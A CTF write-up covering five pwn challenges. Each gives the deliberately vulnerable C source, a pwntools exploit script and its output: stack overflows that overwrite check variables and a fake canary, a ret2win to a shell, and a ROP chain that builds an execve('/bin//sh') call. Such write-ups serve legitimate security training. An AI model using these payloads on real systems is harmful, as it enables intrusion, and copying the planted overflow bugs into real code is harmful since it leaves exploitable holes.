Solutions PwnMyWorkShop!

Starting Point

Initial Statement

Donnez votre nom au binaire et voyez ce que vous pouvez en tirer !

nc ctf.woody.sh 2000

Hint: CRIE FORT

Code:

#include <stdio.h>

int print_flag()
{                                                                                 
	FILE *fd = fopen("./flag.txt", "r");                 
    char flag[32];
    fgets(flag, 32, fd);     
    printf("%s\n", flag);
	fclose(fd);
    return 0;       
} 

int vuln() 
{
	int var;
	int check;
	char name[128];

	printf("Hello ! What's your name ?\n");
	fflush(stdout);
	fgets(name, 133, stdin);
	printf("Hello %s\n", name);
	if(check == 0x41414141) {
		printf("Nice ! You win !\nHere's the flag: ");
		fflush(stdout);
		print_flag();
	}
	return 0;
}

int main() 
{
	vuln();
	return 0;
}

Solution

We can see we have a value name which is an array of int, its size is 128 chars, but we can see we take a 133 chars input using the fgets() function. Which means we can overflow the buffer and overwrite a the next variables. After that we can see we are checking if the value of the check variable is equal to 0x41414141 which equals 'AAAA'. That means that if we overflow the name variable, we will be able to overwrite the check variable, and if the check variable equals 0x41414141 we will get the flag !

Let's go ahead !

$ python -c "print 'A' * 132" | nc ctf.woody.sh 2000
Hello ! What's your name ?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice ! You win !
Here's the flag: PWS{Wa1tY0uB3ntTheL1m17?!?!}

WRITEEEE

Initial Statement

Monsieur [Redacted] adore Word, mais il a décidé de développer son propre word spécialisé dans l'édition de programme en Java. Il a développé ce programme en C, saurez vous trouver la vulnérabilité ?

nc ctf.woody.sh 2001

We also have the code and the binary.

#include <stdio.h>
#include <stdlib.h>

int print_flag()
{
    FILE *fd = fopen("/pwn/flag.txt", "r");
    char flag[32];
    fgets(flag, 32, fd);
    printf("%s\n", flag);
    fclose(fd);
    return 0;
}

int vuln()
{
    int var;
    int overwrite_me = 0xc00ffee;
    char buf[1000];

    printf("Bienvenue dans Word 2.0!\n");
    printf("L'edition word specialisee dans l'edition de code !\n");
    printf("Pourquoi ne pas commencer son TP Java maintenant ? A toi de jouer !\n");
    printf("public class Pwn {\n\n\tpublic static void main(String[] args) {\n\t\t");
    fflush(stdout);
    fgets(buf, 1005, stdin);
    
    if(overwrite_me == 0x41414141) {
        printf("Tu as du oublier la conception methodique...\n");
        fflush(stdout);
    } else if (overwrite_me == 0x20babe20) {
        printf("Quel boss ! TestAlgo se retourne dans sa tombe !\n");
        printf("Voila le flag: ");
        fflush(stdout);
        print_flag();
    } else {
        printf("Pas mal... Ca vaut au max 5/20, peut mieux faire\n");
        fflush(stdout);
    }
    return 0;
}

int main() 
{
        vuln();
        return 0;
}

Solution

We can see we have a buffer that has a length of 1000 bytes, and we can see there is a fgets call that takes 1005 bytes and stores them in our buf buffer. That mean we can overflow that buffer !

The next variable that will be overwritten is called overwrite_me, quite obvious isn't it ? Let's now check what we need to do to get the flag.
There's a first check on overwrite_me, if it equals 0x41414141 which translates as AAAA, there's a message saying we forgot the methodic conception... too bad, that doesn't even give us the flag !
We can see that if it is equal to 0x20babe20, it should give us the flag !
If overwrite_me is neither equal to 0x41414141 or 0x20babe20, we only get a bad grade :(.

Let' do this !

Here is the exploit script commented.

from pwn import * 

p = remote('ctf.woody.sh', 2001) # we connect to the challenge


pld = b'B' * 1000 # fill the buffer with junk
pld += p32(0x20babe20) # fill overwrite_me with what we want !

p.sendafter(b'args) {\n', pld) # let's send our payload after receiving all the text
p.interactive() # get the flag !

Execution:

$ python solve.py 
[+] Opening connection to ctf.woody.sh on port 2001: Done
[*] Switching to interactive mode
  Quel boss ! TestAlgo se retourne dans sa tombe !
Voila le flag: PWS{W0rDxC0ff33B4b3}

[*] Got EOF while reading in interactive

And we successfuly get the flag !


Your Crush

Initial Statement

Vous avez un crush avec une charmante demoiselle. Mais elle ne code pas très bien en C.

Arriverez-vous a obtenir un date ?

nc ctf.woody.sh 2002

Code:

#include <stdio.h>
#include <stdlib.h>

int print_flag()
{
    FILE *fd = fopen("/pwn/flag.txt", "r");
    char flag[32];
    fgets(flag, 32, fd);
    printf("Here's the flag ! %s\n", flag);
    fclose(fd);
    return 0;
}

int main() 
{
    int var;
    int check = 0xbabecafe;
    int canary = 0xf00dbabe;
    char buf[1337];

    printf("Hey.. how are you ? UwU\n");
    fflush(stdout);
    fgets(buf, 1346, stdin);

    if(canary != 0xf00dbabe) {
        printf("You're stealing me food ?!?! Go away !\n");
    } else if(check == 0xda7ebabe){
        printf("Going on a date ? Yes !\n");
        print_flag();
    } else {
        printf("I'm fine.. thanks OwO\n");
    }
    fflush(stdout);
    return 0;
}       

Solution

This challenge was really similar to the previous one. Only thing is that there is somehow a "fake" canary. Which mean a value that is checked during the runtime to verify it hasn't been altered, hence not overwritten, this is used (using a different implementation) to prevent buffer overflows.
So our buffer has a size of 1337 and we can write 1346 chars in it. Let's do this.
Goal is to overwrite the check but not the canary.

Here is the exploit script commented:

from pwn import * 

p = remote('ctf.woody.sh', 2002) # get the connection

pld = b'A' * 1337 # fill the initial buffer
pld += p32(0xf00dbabe) # overwrite the canary with its value, make it unchanged
pld += p32(0xda7ebabe) # overwrite the check 

p.recvline() 
p.sendline(pld) # send payload
p.interactive() # get the flag !

Execution:

$ python solve.py 
[+] Opening connection to ctf.woody.sh on port 2002: Done
[*] Switching to interactive mode
Going on a date ? Yes !
Here's the flag ! PWS{D0nTSte4lC00k1es}

[*] Got EOF while reading in interactive

We get the flag !


Master of the Control Flow

Initial statement

Saurez vous dévier le flux d'exécution de ce programme ?
nc ctf.woody.sh 2005

Code:

#include <stdio.h>

int win() {
    system("/bin/sh");
}

int vuln()
{
    char buf[40];
    printf("Sauras-tu defier mon control flow imparable ?\n");
    fflush(stdout);
    scanf("%s", &buf);
    return 0;
}

int main() 
{
    vuln();
    return 0;
}

Solution

As you can see this is a pretty small program. We have a buffer of 40 characters, and an input of unlimited characters, which mean we can overwrite everything we want in the stack.

Reconnaissance

First thing to do is to check the protections on the binary. I do it with the checksec program.

$ checksec --file=master

We can see we have NX and enabled which mean no shellcode, but no other. Our goal will be to jump on the win function that will give us a shell !
The win function is in the .text section, which doesn't move unless there is a PIE, which is not the case here, so ASLR won't annoy us in this case.

Next thing to do is get the address of win.
To do this, I always use radare2.
2021-12-23_15-37

We can see sym.win's address is 0x080491a6

Exploit

Now we have everything, our goal is to overwrite saved eip on the stack. When the function will return (ret instruction), instead of coming back in the main(), eip will point at win and call win instead ! Wonderful isn't it ?

Something to know:
The stack is always this way:

+-----------+--------+-------+
|           |        |       |
| Buffers   |  ebp   | sEIP  |
|           |        |       |
+-----------+--------+-------+

which mean we have to fill the buffer + 4 characters to overwrite ebp then our address to reach sEIP.

Now what ? time to pwn !

Here is my exploitation script, commented:

from pwn import *

p = remote('ctf.woody.sh', 2005) # get the connection

print(p.recvline()) # receive and print the prompt line

pld = b'A' * 44 #  fill buffer + ebp
pld += p32(0x08049192) # overwrite sEIP
print(len(pld)) # print length of payload (useful for debugging)
p.sendline(pld) # send payload
p.interactive() # pwned !

Execution:

$ python solve2.py
[+] Opening connection to ctf.woody.sh on port 2005: Done
b'Sauras-tu defier mon control flow imparable ?\n'
48
[*] Switching to interactive mode
$ cat /pwn/flag.txt
PWS{R3t2W1n?W1nW1thR3t}$ 
$ 

We get the flag !


Return is Da Wae

Initial Statement

Inspecteur gadget a placé quelques indices dans ce binaire, saurez vous les trouver et les utiliser ?

Attention: ASLR activé sur ce challenge.

nc shell.woody.sh 65000

We weren't given the code for this challenge (mostly because it is hideous, and because it would leak the gadgets too easily)

But we had the binary.

Solution

Reconnaissance

First step will be reversing (partly) the binary. We already know it's a x86 binary.
To do this, let's fire up IDA Pro !
The main simply calls vuln

vuln function decompiled:
2021-12-23_16-00

We can see it takes an input of 500 characters in a 128 character buffer. Hence we can easily achieve buffer overflow, but how we will achieve command execution ? We don't have the libc and there is ASLR on the remote machine...

Answer ? ROPchain !

Exploitation

ROP means Return Oriented Programming, roughly, we will use gadgets (understand small parts of code already in the binary, followed by a ret instruction) to set our registers and manipulate the memory.

To get gadgets in the binary, I use ROPgadget. Sometime the process is quite long. So I use this command:

$ ROPgadget --binary=dawae | tee gadgets

This will print the gadgets on my screen and save them in a file named "gadgets", I will then grep what I need inside (here there are 201 gadgets.)

Building the ROPchain

First, we want to put "/bin//sh" in the memory, to be able to call it using an execve syscall. Why '//sh' ? simply because // is interpreted as only one /, and this way len('/bin//sh') == 8 which is 2x4 -> 2 addresses in the stack.

So first step is to write in the .data section. To get its address, nothing easier ! I use readelf.
2021-12-23_16-13

To be able to write, we need a "Write-What-Where" primitive. This allows us to write anywhere we want.
Here we have 3 gadgets than can be useful

0x080491ca : pop eax ; ret
0x08049022 : pop ebx ; ret
0x080491b3 : mov dword ptr [ebx], eax ; ret

To write to data we can do this

pop ebx ; fill ebx with next stack element
0x0804c020 ; .data 
pop eax ; fill eax
'/bin' ; first part of string
mov [ebx], eax
pop ebx ; fill ebx with next stack element
0x0804c024 ; .data + 4 (already filled the first 4 bytes) 
pop eax ; fill eax
'//sh' ; second part of string
mov [ebx], eax
; Then we need to add a null byte to terminate the string
pop ebx ; fill ebx with next stack element
0x0804c028 ; .data + 8 (already filled the first 8 bytes) 
; Here we can either pop eax with 0x00000000
; Or xor eax with itself, which sets it to 0
xor eax, eax
mov [ebx], eax

Nice ! We wrote our string in the .data section !

Next we want to execute the execve syscall. Let's look at the syscall table. You can find it here: https://x86.syscall.sh/

2021-12-23_16-23

We need to set our registers this way:
eax: 11 = 0xb
ebx: address of /bin//sh = .data = 0x0804c020
ecx: don't need it so 0
edx: don't need it so 0

We have pop ecx and pop edx, nothing easier !
Our ropchain should look like this:

pop eax
0xb ; -> execve syscall
pop ebx
0x0804c020 ; .data = /bin//sh
pop ecx
0x0804c028 ; -> 0x00
pop edx
0x0804c028 ; -> 0x00
syscall ; -> actually execute the syscall

Exploitation script

Let's write our ropchain !
Here's my exploitation script, which compiles everything we did earlier.

from pwn import *

# gadgets
pop_eax = p32(0x080491ca)
pop_ebx = p32(0x08049022)
pop_ecx = p32(0x080492bd)
pop_edx = p32(0x080492bf)

mov_ebx_eax = p32(0x080491b3)

xor_eax_eax = p32(0x080491f6)

syscall = p32(0x080492c1)

# ropchain
pld =  b'A' * 144
#Write What Where
pld += pop_ebx 
pld += p32(0x0804c020) # @ .data
pld += pop_eax 
pld += b'/bin'
pld += mov_ebx_eax
pld += pop_ebx 
pld += p32(0x0804c024) # @ .data + 4
pld += pop_eax 
pld += b'//sh'
pld += mov_ebx_eax 
pld += pop_ebx 
pld += p32(0x0804c028) # @ .data + 8
pld += xor_eax_eax 
pld += mov_ebx_eax 
#Adjust registers
pld += pop_eax
pld += p32(0xb)
pld += pop_ebx 
pld += p32(0x0804c020) # @ .data
pld += pop_ecx 
pld += p32(0x0804c028) # @ .data + 8
pld += pop_edx
pld += p32(0x0804c028) # @ .data + 8
# Pwn !
pld += syscall

p = process('./dawae')
print(p.recvline())
p.sendline(pld)
p.interactive() # get the flag

At the time writing this write up, the service is down, hence I'll execute it locally.

$ python solve.py 
[+] Starting local process './dawae': pid 26398
b'Overflow me !\n'
[*] Switching to interactive mode
$ id
uid=1000(woody) gid=984(users)
$ cat flag.txt
PWS{R0P1SfUnNnN!!!G4tTh3G4dg3Ts}

Good Job to SoEasY for being the only one to solve this challenge !


Show Comments